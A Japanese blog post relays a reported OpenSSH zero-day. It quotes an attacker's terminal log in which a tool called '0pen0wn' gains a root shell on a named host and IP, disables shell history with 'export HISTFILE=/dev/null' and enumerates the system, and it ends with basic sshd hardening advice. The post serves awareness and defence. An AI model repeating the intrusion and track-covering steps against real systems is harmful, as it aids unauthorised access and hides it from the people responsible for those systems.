0day openssh remote exploit

0dayの追加情報

http://secer.org/hacktools/0day-openssh-remote-exploit.html

anti-sec:~/pwn# ./map ssanz.net

IP: 66.197.143.133 ( osiris.ssanz.net )
WWW: Apache/2.2.11
SSH: SSH-2.0-OpenSSH_4.3

IP: 66.197.204.101 ( devil.ssanz.net )
WWW: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5
mod_mono/2.4 mod_auth_passthrough/2.1 mod_bwlimited/1.4
SSH: SSH-2.0-OpenSSH_4.3

anti-sec:~/pwn# cd xpl/

anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.143.133 -p 22

[+] 0wn0wn - anti-sec group
[+] Target: 66.197.143.133
[+] SSH Port: 22

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

sh-3.2# export HISTFILE=/dev/null

sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sh-3.2# uname -a
Linux osiris.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

うーん、詳細はわからないけれど、攻撃成功してるようには見えるなぁ…。

対策としては

Securing the sshd of your customer's servers ASAP by  following
atleast the following steps.

1) Change Default SSH Port
2) Disable Direct Root Login
3) Disable common wheel users like admin. Use a hard to guess wheel username
4) Disable shell access for all customers.
5) If possible allow access to SSH only from Bobcares and Customer's
ip address ( Use firewall and hosts.{allow,deny} file to do this. )

Step 1, 2 and 3 makes it hard for the users to guess ssh port and wheel username
Step 4 prevents user accounts from getting hacked.
Step 5 make it almost 100% fool proof unless someone from own network
or the client's network tries to hack.
  • SSH のポートを変える
  • root でログインできなくする
  • admin などの推測しやすい権限ユーザ名を使わない。 (wheel username だから root に su できるユーザのことだけど)
  • shell アクセスできなくする
  • 可能ならば、 ssh に接続できるIPアドレスを制限する

まぁ、基本的なことしかないか…。